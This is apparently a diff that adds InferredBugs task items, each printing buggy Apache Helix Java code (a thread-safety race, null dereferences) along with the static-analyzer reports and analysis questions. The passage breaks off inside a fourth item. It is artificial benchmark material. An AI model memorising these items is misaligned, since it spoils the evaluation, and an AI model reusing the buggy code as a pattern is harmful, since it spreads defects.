+      if (_helixAccessor.getProperty(keyBuilder.liveInstance(_instanceName)) != null)
+      {
+        String errorMessage =
+            "instance " + _instanceName + " already has a liveinstance in cluster "
+                + _clusterName;
+        logger.error(errorMessage);
+        throw new HelixException(errorMessage);
+      }
+    }
+    // Invoke the PreConnectCallbacks
+    for (PreConnectCallback callback : _preConnectCallbacks)
+    {
+      callback.onPreConnect();
+    }
+    addLiveInstance();
+    carryOverPreviousCurrentState();
+
+    // In case the cluster manager is running as a participant, setup message
+    // listener
+    _messagingService.registerMessageHandlerFactory(MessageType.STATE_TRANSITION.toString(),
+                                                    _stateMachEngine);
+    addMessageListener(_messagingService.getExecutor(), _instanceName);
+    addControllerListener(_helixAccessor);
+    
+    ScheduledTaskStateModelFactory stStateModelFactory = new ScheduledTaskStateModelFactory(_messagingService.getExecutor());
+    _stateMachEngine.registerStateModelFactory(DefaultSchedulerMessageHandlerFactory.SCHEDULER_TASK_QUEUE, stStateModelFactory);
+
+    if (_participantHealthCheckInfoCollector == null)
+    {
+      _participantHealthCheckInfoCollector =
+          new ParticipantHealthReportCollectorImpl(this, _instanceName);
+      _participantHealthCheckInfoCollector.start();
+    }
+    // start the participant health check timer, also create zk path for health
+    // check info
+    String healthCheckInfoPath =
+        _helixAccessor.keyBuilder().healthReports(_instanceName).getPath();
+    if (!_zkClient.exists(healthCheckInfoPath))
+    {
+      _zkClient.createPersistent(healthCheckInfoPath, true);
+      logger.info("Creating healthcheck info path " + healthCheckInfoPath);
+    }
+  }
+
+  @Override
+  public void addPreConnectCallback(PreConnectCallback callback)
+  {
+    logger.info("Adding preconnect callback");
+    _preConnectCallbacks.add(callback);
+  }
+
+  private void resetHandlers()
+  {
+    synchronized (this)
+    {
+    	if (_handlers != null)
+        {
+            // get a copy of the list and iterate over the copy list
+            // in case handler.reset() will modify the original handler list
+            List<CallbackHandler> tmpHandlers = new ArrayList<CallbackHandler>();
+            tmpHandlers.addAll(_handlers);
+
+            for (CallbackHandler handler : tmpHandlers)
+            {
+              handler.reset();
+              logger.info("reset handler: " + handler.getPath() + ", " + handler.getListener());
+            }
+        }
+    }
+  }
+
+  private void initHandlers()
+  {
+    synchronized (this)
+    {
+    	if (_handlers != null)
+    	{
+    	  // may add new currentState and message listeners during init()
+    	  // so make a copy and iterate over the copy
+    	  List<CallbackHandler> tmpHandlers = new ArrayList<CallbackHandler>();
+    	  tmpHandlers.addAll(_handlers);
+          for (CallbackHandler handler : tmpHandlers)
+          {
+            handler.init();
+            logger.info("init handler: " + handler.getPath() + ", " + handler.getListener());
+          }
+    	}
+    }
+  }
+
+  @Override
+  public boolean isLeader()
+  {
+    if (!isConnected())
+    {
+      return false;
+    }
+
+    if (_instanceType != InstanceType.CONTROLLER)
+    {
+      return false;
+    }
+
+    Builder keyBuilder = _helixAccessor.keyBuilder();
+    LiveInstance leader = _helixAccessor.getProperty(keyBuilder.controllerLeader());
+    if (leader == null)
+    {
+      return false;
+    }
+    else
+    {
+      String leaderName = leader.getInstanceName();
+      // TODO need check sessionId also, but in distributed mode, leader's
+      // sessionId is
+      // not equal to
+      // the leader znode's sessionId field which is the sessionId of the
+      // controller_participant that
+      // successfully creates the leader node
+      if (leaderName == null || !leaderName.equals(_instanceName))
+      {
+        return false;
+      }
+    }
+    return true;
+  }
+
+  /**
+   * carry over current-states from last sessions
+   * set to initial state for current session only when the state doesn't exist in current session
+   */
+  private void carryOverPreviousCurrentState()
+  {
+    Builder keyBuilder = _helixAccessor.keyBuilder();
+    List<String> sessions = _helixAccessor.getChildNames(keyBuilder.sessions(_instanceName));
+    
+    // carry-over
+    for (String session : sessions) {
+      if (session.equals(_sessionId)) {
+        continue;
+      }
+      
+      List<CurrentState> lastCurStates = 
+          _helixAccessor.getChildValues(keyBuilder.currentStates(_instanceName, session));
+
+      for (CurrentState lastCurState : lastCurStates) {
+        logger.info("Carrying over old session: " + session + ", resource: "
+            + lastCurState.getId() + " to current session: " + _sessionId);
+        String stateModelDefRef = lastCurState.getStateModelDefRef();
+        if (stateModelDefRef == null)
+        {
+          logger.error("skip carry-over because previous current state doesn't have a state model definition. previous current-state: "
+              + lastCurState);
+          continue;
+        }
+        StateModelDefinition stateModel =
+            _helixAccessor.getProperty(keyBuilder.stateModelDef(stateModelDefRef));
+
+        String curStatePath = keyBuilder.currentState(_instanceName, _sessionId, lastCurState.getResourceName()).getPath();
+        _helixAccessor.getBaseDataAccessor().update(curStatePath, 
+           new CurStateCarryOverUpdater(_sessionId, stateModel.getInitialState(), lastCurState), AccessOption.PERSISTENT);
+      }
+    }
+    
+    // remove previous current states
+    for (String session : sessions)
+    {
+      if (session.equals(_sessionId)) {
+        continue;
+      }
+
+      String path =
+          _helixAccessor.keyBuilder()
+                        .currentStates(_instanceName, session)
+                        .getPath();
+      logger.info("Removing current states from previous sessions. path: " + path);
+      _zkClient.deleteRecursive(path);
+    }
+  }
+
+  @Override
+  public synchronized ZkHelixPropertyStore<ZNRecord> getHelixPropertyStore()
+  {
+    checkConnected();
+
+    if (_helixPropertyStore == null)
+    {
+      String path =
+          PropertyPathConfig.getPath(PropertyType.HELIX_PROPERTYSTORE, _clusterName);
+
+      _helixPropertyStore =
+          new ZkHelixPropertyStore<ZNRecord>(new ZkBaseDataAccessor<ZNRecord>(_zkClient),
+                                             path,
+                                             null);
+    }
+
+    return _helixPropertyStore;
+  }
+
+  @Override
+  public synchronized HelixAdmin getClusterManagmentTool()
+  {
+    checkConnected();
+    if (_zkClient != null)
+    {
+      _managementTool = new ZKHelixAdmin(_zkClient);
+    }
+    else
+    {
+      logger.error("Couldn't get ZKClusterManagementTool because zkClient is null");
+    }
+
+    return _managementTool;
+  }
+
+  @Override
+  public ClusterMessagingService getMessagingService()
+  {
+    // The caller can register message handler factories on messaging service before the
+    // helix manager is connected. Thus we do not do connected check here.
+    return _messagingService;
+  }
+
+  @Override
+  public ParticipantHealthReportCollector getHealthReportCollector()
+  {
+    checkConnected();
+    return _participantHealthCheckInfoCollector;
+  }
+
+  @Override
+  public InstanceType getInstanceType()
+  {
+    return _instanceType;
+  }
+
+  private void checkConnected()
+  {
+    if (!isConnected())
+    {
+      throw new HelixException("ClusterManager not connected. Call clusterManager.connect()");
+    }
+  }
+
+  @Override
+  public String getVersion()
+  {
+    return _version;
+  }
+
+  @Override
+  public HelixManagerProperties getProperties() {
+    return _properties;
+  }
+  
+  @Override
+  public StateMachineEngine getStateMachineEngine()
+  {
+    return _stateMachEngine;
+  }
+
+  // TODO: rename this and not expose this function as part of interface
+  @Override
+  public void startTimerTasks()
+  {
+    for (HelixTimerTask task : _controllerTimerTasks)
+    {
+      task.start();
+    }
+    startStatusUpdatedumpTask();
+  }
+
+  @Override
+  public void stopTimerTasks()
+  {
+    for (HelixTimerTask task : _controllerTimerTasks)
+    {
+      task.stop();
+    }
+  }
+
+  @Override
+  public void setLiveInstanceInfoProvider(
+      LiveInstanceInfoProvider liveInstanceInfoProvider)
+  {
+    _liveInstanceInfoProvider = liveInstanceInfoProvider;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.helix.manager.zk.ZKHelixManager.handleNewSession` indirectly reads with synchronization from `this.org.apache.helix.manager.zk.ZKHelixManager._handlers`. Potentially races with unsynchronized write in method `ZKHelixManager.handleNewSession()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ZKHelixManager.handleNewSession()
+
+### Procedure Id:
+org.apache.helix.manager.zk.ZKHelixManager.handleNewSession():void.ada16e6739ae09352eab6ae3589b1a25
+
+### File:
+helix-core/src/main/java/org/apache/helix/manager/zk/ZKHelixManager.java
+
+### Key:
+ZKHelixManager.java|handleNewSession|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+021d59e89b3aaa1d882e01554e94e6dd
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9619/instruction.md b/inferredbugs-9619/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4a6524fef43b37e106abf0fc06d39174c762d0dd
--- /dev/null
+++ b/inferredbugs-9619/instruction.md
@@ -0,0 +1,358 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 37
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.manager.zk;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.io.ByteArrayInputStream;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.TreeMap;
+
+import org.I0Itec.zkclient.exception.ZkMarshallingError;
+import org.I0Itec.zkclient.serialize.ZkSerializer;
+import org.apache.helix.HelixException;
+import org.apache.helix.ZNRecord;
+import org.apache.log4j.Logger;
+import org.codehaus.jackson.JsonFactory;
+import org.codehaus.jackson.JsonGenerator;
+import org.codehaus.jackson.JsonParser;
+import org.codehaus.jackson.JsonToken;
+import org.restlet.engine.util.Base64;
+
+
+public class ZNRecordStreamingSerializer implements ZkSerializer {
+  private static Logger LOG = Logger.getLogger(ZNRecordStreamingSerializer.class);
+
+  private static int getListFieldBound(ZNRecord record) {
+    int max = Integer.MAX_VALUE;
+    if (record.getSimpleFields().containsKey(ZNRecord.LIST_FIELD_BOUND)) {
+      String maxStr = record.getSimpleField(ZNRecord.LIST_FIELD_BOUND);
+      try {
+        max = Integer.parseInt(maxStr);
+      } catch (Exception e) {
+        LOG.error("IllegalNumberFormat for list field bound: " + maxStr);
+      }
+    }
+    return max;
+  }
+
+  @Override
+  public byte[] serialize(Object data) throws ZkMarshallingError {
+    if (!(data instanceof ZNRecord)) {
+      // null is NOT an instance of any class
+      LOG.error("Input object must be of type ZNRecord but it is " + data
+          + ". Will not write to zk");
+      throw new HelixException("Input object is not of type ZNRecord (was " + data + ")");
+    }
+
+    // apply retention policy on list field
+    ZNRecord record = (ZNRecord) data;
+    int max = getListFieldBound(record);
+    if (max < Integer.MAX_VALUE) {
+      Map<String, List<String>> listMap = record.getListFields();
+      for (String key : listMap.keySet()) {
+        List<String> list = listMap.get(key);
+        if (list.size() > max) {
+          listMap.put(key, list.subList(0, max));
+        }
+      }
+    }
+
+    StringWriter sw = new StringWriter();
+    try {
+      JsonFactory f = new JsonFactory();
+      JsonGenerator g = f.createJsonGenerator(sw);
+
+      g.writeStartObject();
+
+      // write id field
+      g.writeRaw("\n  ");
+      g.writeStringField("id", record.getId());
+
+      // write simepleFields
+      g.writeRaw("\n  ");
+      g.writeObjectFieldStart("simpleFields");
+      for (String key : record.getSimpleFields().keySet()) {
+        g.writeRaw("\n    ");
+        g.writeStringField(key, record.getSimpleField(key));
+      }
+      g.writeRaw("\n  ");
+      g.writeEndObject(); // for simpleFields
+
+      // write listFields
+      g.writeRaw("\n  ");
+      g.writeObjectFieldStart("listFields");
+      for (String key : record.getListFields().keySet()) {
+        // g.writeStringField(key, record.getListField(key).toString());
+
+        // g.writeObjectFieldStart(key);
+        g.writeRaw("\n    ");
+        g.writeArrayFieldStart(key);
+        List<String> list = record.getListField(key);
+        for (String listValue : list) {
+          g.writeString(listValue);
+        }
+        // g.writeEndObject();
+        g.writeEndArray();
+
+      }
+      g.writeRaw("\n  ");
+      g.writeEndObject(); // for listFields
+
+      // write mapFields
+      g.writeRaw("\n  ");
+      g.writeObjectFieldStart("mapFields");
+      for (String key : record.getMapFields().keySet()) {
+        // g.writeStringField(key, record.getMapField(key).toString());
+        g.writeRaw("\n    ");
+        g.writeObjectFieldStart(key);
+        Map<String, String> map = record.getMapField(key);
+        for (String mapKey : map.keySet()) {
+          g.writeRaw("\n      ");
+          g.writeStringField(mapKey, map.get(mapKey));
+        }
+        g.writeRaw("\n    ");
+        g.writeEndObject();
+
+      }
+      g.writeRaw("\n  ");
+      g.writeEndObject(); // for mapFields
+
+      byte[] rawPayload = record.getRawPayload();
+      if (rawPayload != null && rawPayload.length > 0) {
+        // write rawPayload
+        g.writeRaw("\n  ");
+        g.writeStringField("rawPayload", Base64.encode(rawPayload, false));
+      }
+
+      g.writeRaw("\n");
+      g.writeEndObject(); // for whole znrecord
+
+      // important: will force flushing of output, close underlying output
+      // stream
+      g.close();
+    } catch (Exception e) {
+      LOG.error("Exception during data serialization. Will not write to zk. Data (first 1k): "
+          + sw.toString().substring(0, 1024), e);
+      throw new HelixException(e);
+    }
+
+    // check size
+    if (sw.toString().getBytes().length > ZNRecord.SIZE_LIMIT) {
+      LOG.error("Data size larger than 1M, ZNRecord.id: " + record.getId()
+          + ". Will not write to zk. Data (first 1k): " + sw.toString().substring(0, 1024));
+      throw new HelixException("Data size larger than 1M, ZNRecord.id: " + record.getId());
+    }
+
+    return sw.toString().getBytes();
+  }
+
+  @Override
+  public Object deserialize(byte[] bytes) throws ZkMarshallingError {
+    if (bytes == null || bytes.length == 0) {
+      LOG.error("ZNode is empty.");
+      return null;
+    }
+
+    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
+    ZNRecord record = null;
+
+    try {
+      JsonFactory f = new JsonFactory();
+      JsonParser jp = f.createJsonParser(bais);
+
+      jp.nextToken(); // will return JsonToken.START_OBJECT (verify?)
+      while (jp.nextToken() != JsonToken.END_OBJECT) {
+        String fieldname = jp.getCurrentName();
+        jp.nextToken(); // move to value, or START_OBJECT/START_ARRAY
+        if ("id".equals(fieldname)) {
+          // contains an object
+          record = new ZNRecord(jp.getText());
+        } else if ("simpleFields".equals(fieldname)) {
+          while (jp.nextToken() != JsonToken.END_OBJECT) {
+            String key = jp.getCurrentName();
+            jp.nextToken(); // move to value
+            record.setSimpleField(key, jp.getText());
+          }
+        } else if ("mapFields".equals(fieldname)) {
+          // user.setVerified(jp.getCurrentToken() == JsonToken.VALUE_TRUE);
+          while (jp.nextToken() != JsonToken.END_OBJECT) {
+            String key = jp.getCurrentName();
+            record.setMapField(key, new TreeMap<String, String>());
+            jp.nextToken(); // move to value
+
+            while (jp.nextToken() != JsonToken.END_OBJECT) {
+              String mapKey = jp.getCurrentName();
+              jp.nextToken(); // move to value
+              record.getMapField(key).put(mapKey, jp.getText());
+            }
+          }
+
+        } else if ("listFields".equals(fieldname)) {
+          // user.setUserImage(jp.getBinaryValue());
+          while (jp.nextToken() != JsonToken.END_OBJECT) {
+            String key = jp.getCurrentName();
+            record.setListField(key, new ArrayList<String>());
+            jp.nextToken(); // move to value
+            while (jp.nextToken() != JsonToken.END_ARRAY) {
+              record.getListField(key).add(jp.getText());
+            }
+
+          }
+
+        } else if ("rawPayload".equals(fieldname)) {
+          record.setRawPayload(Base64.decode(jp.getText()));
+        } else {
+          throw new IllegalStateException("Unrecognized field '" + fieldname + "'!");
+        }
+      }
+      jp.close(); // ensure resources get cleaned up timely and properly
+    } catch (Exception e) {
+      LOG.error("Exception during deserialization of bytes: " + new String(bytes), e);
+    }
+
+    return record;
+  }
+
+  public static void main(String[] args) {
+    ZNRecord record = new ZNRecord("record");
+    final int recordSize = 10;
+    for (int i = 0; i < recordSize; i++) {
+      record.setSimpleField("" + i, "" + i);
+      record.setListField("" + i, new ArrayList<String>());
+      for (int j = 0; j < recordSize; j++) {
+        record.getListField("" + i).add("" + j);
+      }
+
+      record.setMapField("" + i, new TreeMap<String, String>());
+      for (int j = 0; j < recordSize; j++) {
+        record.getMapField("" + i).put("" + j, "" + j);
+      }
+    }
+
+    ZNRecordStreamingSerializer serializer = new ZNRecordStreamingSerializer();
+    byte[] bytes = serializer.serialize(record);
+    System.out.println(new String(bytes));
+    ZNRecord record2 = (ZNRecord) serializer.deserialize(bytes);
+    System.out.println(record2);
+
+    long start = System.currentTimeMillis();
+    for (int i = 0; i < 100; i++) {
+      bytes = serializer.serialize(record);
+      // System.out.println(new String(bytes));
+      record2 = (ZNRecord) serializer.deserialize(bytes);
+      // System.out.println(record2);
+    }
+    long end = System.currentTimeMillis();
+    System.out.println("ZNRecordStreamingSerializer time used: " + (end - start));
+
+    ZNRecordSerializer serializer2 = new ZNRecordSerializer();
+    bytes = serializer2.serialize(record);
+    // System.out.println(new String(bytes));
+    record2 = (ZNRecord) serializer2.deserialize(bytes);
+    // System.out.println(record2);
+
+    start = System.currentTimeMillis();
+    for (int i = 0; i < 100; i++) {
+      bytes = serializer2.serialize(record);
+      // System.out.println(new String(bytes));
+      record2 = (ZNRecord) serializer2.deserialize(bytes);
+      // System.out.println(record2);
+    }
+    end = System.currentTimeMillis();
+    System.out.println("ZNRecordSerializer time used: " + (end - start));
+
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `record` last assigned on line 176 could be null and is dereferenced at line 222.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object ZNRecordStreamingSerializer.deserialize(byte[])
+
+### Procedure Id:
+org.apache.helix.manager.zk.ZNRecordStreamingSerializer.deserialize(byte[]):java.lang.Object.cdedc9809357a72edb66d8f57e43b2da
+
+### File:
+helix-core/src/main/java/org/apache/helix/manager/zk/ZNRecordStreamingSerializer.java
+
+### Key:
+ZNRecordStreamingSerializer.java|deserialize|NULL_DEREFERENCE
+
+### Node Key:
+09634589313b8637b1fe1e1bb0135b05
+
+### Hash:
+56aacf463a17e67f4af9b283f3a4c931
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9620/instruction.md b/inferredbugs-9620/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..63a4b536e4d9d99bdf65b1c59f7a5aeeb428a149
--- /dev/null
+++ b/inferredbugs-9620/instruction.md
@@ -0,0 +1,245 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 39
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.manager.zk;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.util.Arrays;
+import java.util.Date;
+import java.util.List;
+
+import org.apache.helix.AccessOption;
+import org.apache.helix.PropertyPathConfig;
+import org.apache.helix.PropertyType;
+import org.apache.helix.TestHelper;
+import org.apache.helix.ZNRecord;
+import org.apache.helix.ZNRecordUpdater;
+import org.apache.helix.ZkUnitTestBase;
+import org.apache.helix.manager.zk.ZkBaseDataAccessor;
+import org.apache.helix.manager.zk.ZkCacheBaseDataAccessor;
+import org.testng.Assert;
+import org.testng.annotations.Test;
+
+public class TestWtCacheSyncOpSingleThread extends ZkUnitTestBase {
+  // TODO: add TestZkCacheSyncOpSingleThread
+  // TODO: add TestZkCacheAsyncOpMultiThread
+  @Test
+  public void testHappyPathZkCacheBaseDataAccessor() throws Exception {
+    String className = TestHelper.getTestClassName();
+    String methodName = TestHelper.getTestMethodName();
+    String clusterName = className + "_" + methodName;
+    System.out.println("START " + clusterName + " at " + new Date(System.currentTimeMillis()));
+
+    // init zkCacheDataAccessor
+    String curStatePath =
+        PropertyPathConfig.getPath(PropertyType.CURRENTSTATES, clusterName, "localhost_8901");
+    String extViewPath = PropertyPathConfig.getPath(PropertyType.EXTERNALVIEW, clusterName);
+
+    ZkBaseDataAccessor<ZNRecord> baseAccessor = new ZkBaseDataAccessor<ZNRecord>(_gZkClient);
+
+    baseAccessor.create(curStatePath, null, AccessOption.PERSISTENT);
+
+    List<String> cachePaths = Arrays.asList(curStatePath, extViewPath);
+    ZkCacheBaseDataAccessor<ZNRecord> accessor =
+        new ZkCacheBaseDataAccessor<ZNRecord>(baseAccessor, null, cachePaths, null);
+
+    boolean ret = TestHelper.verifyZkCache(cachePaths, accessor._wtCache._cache, _gZkClient, true);
+    Assert.assertTrue(ret, "wtCache doesn't match data on Zk");
+
+    // create 10 current states
+    for (int i = 0; i < 10; i++) {
+      String path = curStatePath + "/session_0/TestDB" + i;
+      boolean success = accessor.create(path, new ZNRecord("TestDB" + i), AccessOption.PERSISTENT);
+      Assert.assertTrue(success, "Should succeed in create: " + path);
+    }
+
+    // verify wtCache
+    // TestHelper.printCache(accessor._wtCache);
+    ret = TestHelper.verifyZkCache(cachePaths, accessor._wtCache._cache, _gZkClient, false);
+    Assert.assertTrue(ret, "wtCache doesn't match data on Zk");
+
+    // update each current state 10 times, single thread
+    for (int i = 0; i < 10; i++) {
+      String path = curStatePath + "/session_0/TestDB" + i;
+      for (int j = 0; j < 10; j++) {
+        ZNRecord newRecord = new ZNRecord("TestDB" + i);
+        newRecord.setSimpleField("" + j, "" + j);
+        boolean success =
+            accessor.update(path, new ZNRecordUpdater(newRecord), AccessOption.PERSISTENT);
+        Assert.assertTrue(success, "Should succeed in update: " + path);
+
+      }
+    }
+
+    // verify cache
+    // TestHelper.printCache(accessor._wtCache._cache);
+    ret = TestHelper.verifyZkCache(cachePaths, accessor._wtCache._cache, _gZkClient, false);
+    Assert.assertTrue(ret, "wtCache doesn't match data on Zk");
+
+    // set 10 external views
+    for (int i = 0; i < 10; i++) {
+      String path =
+          PropertyPathConfig.getPath(PropertyType.EXTERNALVIEW, clusterName, "TestDB" + i);
+      boolean success = accessor.set(path, new ZNRecord("TestDB" + i), AccessOption.PERSISTENT);
+      Assert.assertTrue(success, "Should succeed in set: " + path);
+    }
+
+    // verify wtCache
+    // accessor.printWtCache();
+    ret = TestHelper.verifyZkCache(cachePaths, accessor._wtCache._cache, _gZkClient, false);
+    Assert.assertTrue(ret, "wtCache doesn't match data on Zk");
+
+    // get 10 external views
+    for (int i = 0; i < 10; i++) {
+      String path =
+          PropertyPathConfig.getPath(PropertyType.EXTERNALVIEW, clusterName, "TestDB" + i);
+      ZNRecord record = accessor.get(path, null, 0);
+      Assert.assertEquals(record.getId(), "TestDB" + i);
+    }
+
+    // getChildNames
+    List<String> childNames = accessor.getChildNames(extViewPath, 0);
+    // System.out.println(childNames);
+    Assert.assertEquals(childNames.size(), 10, "Should contain only: TestDB0-9");
+    for (int i = 0; i < 10; i++) {
+      Assert.assertTrue(childNames.contains("TestDB" + i));
+    }
+
+    // exists
+    for (int i = 0; i < 10; i++) {
+      String path =
+          PropertyPathConfig.getPath(PropertyType.CURRENTSTATES, clusterName, "localhost_8901",
+              "session_0", "TestDB" + i);
+
+      Assert.assertTrue(accessor.exists(path, 0));
+    }
+
+    System.out.println("END " + clusterName + " at " + new Date(System.currentTimeMillis()));
+  }
+
+  @Test
+  public void testCreateFailZkCacheBaseDataAccessor() {
+    String className = TestHelper.getTestClassName();
+    String methodName = TestHelper.getTestMethodName();
+    String clusterName = className + "_" + methodName;
+    System.out.println("START " + clusterName + " at " + new Date(System.currentTimeMillis()));
+
+    // init zkCacheDataAccessor
+    String curStatePath =
+        PropertyPathConfig.getPath(PropertyType.CURRENTSTATES, clusterName, "localhost_8901");
+
+    ZkBaseDataAccessor<ZNRecord> baseAccessor = new ZkBaseDataAccessor<ZNRecord>(_gZkClient);
+
+    ZkCacheBaseDataAccessor<ZNRecord> accessor =
+        new ZkCacheBaseDataAccessor<ZNRecord>(baseAccessor, null, Arrays.asList(curStatePath), null);
+
+    // create 10 current states
+    for (int i = 0; i < 10; i++) {
+      String path =
+          PropertyPathConfig.getPath(PropertyType.CURRENTSTATES, clusterName, "localhost_8901",
+              "session_1", "TestDB" + i);
+      boolean success = accessor.create(path, new ZNRecord("TestDB" + i), AccessOption.PERSISTENT);
+      Assert.assertTrue(success, "Should succeed in create: " + path);
+    }
+
+    // create same 10 current states again, should fail
+    for (int i = 0; i < 10; i++) {
+      String path =
+          PropertyPathConfig.getPath(PropertyType.CURRENTSTATES, clusterName, "localhost_8901",
+              "session_1", "TestDB" + i);
+      boolean success = accessor.create(path, new ZNRecord("TestDB" + i), AccessOption.PERSISTENT);
+      Assert.assertFalse(success, "Should fail in create due to NodeExists: " + path);
+    }
+
+    System.out.println("END " + clusterName + " at " + new Date(System.currentTimeMillis()));
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `accessor._chrootPath` last assigned on line 149 could be null and is dereferenced by call to `create(...)` at line 156.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestWtCacheSyncOpSingleThread.testCreateFailZkCacheBaseDataAccessor()
+
+### Procedure Id:
+org.apache.helix.manager.zk.TestWtCacheSyncOpSingleThread.testCreateFailZkCacheBaseDataAccessor():vo.a86099bba3c9aeea474a2142d3bce985
+
+### File:
+helix-core/src/test/java/org/apache/helix/manager/zk/TestWtCacheSyncOpSingleThread.java
+
+### Key:
+TestWtCacheSyncOpSingleThread.java|testCreateFailZkCacheBaseDataAccessor|NULL_DEREFERENCE
+
+### Node Key:
+ab90eb1f14d7d343025d6336d1c68b84
+
+### Hash:
+abdd79b3c6dfd9369cf24689400e8345
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9621/instruction.md b/inferredbugs-9621/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a311f5362ac26492d6c1911ea56667f8957f8c86
--- /dev/null
+++ b/inferredbugs-9621/instruction.md
@@ -0,0 +1,787 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 52
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.controller;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Timer;
+import java.util.TimerTask;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.atomic.AtomicReference;
+
+import org.I0Itec.zkclient.exception.ZkInterruptedException;
+import org.apache.helix.api.listeners.ConfigChangeListener;
+import org.apache.helix.api.listeners.ControllerChangeListener;
+import org.apache.helix.api.listeners.CurrentStateChangeListener;
+import org.apache.helix.api.listeners.IdealStateChangeListener;
+import org.apache.helix.api.listeners.InstanceConfigChangeListener;
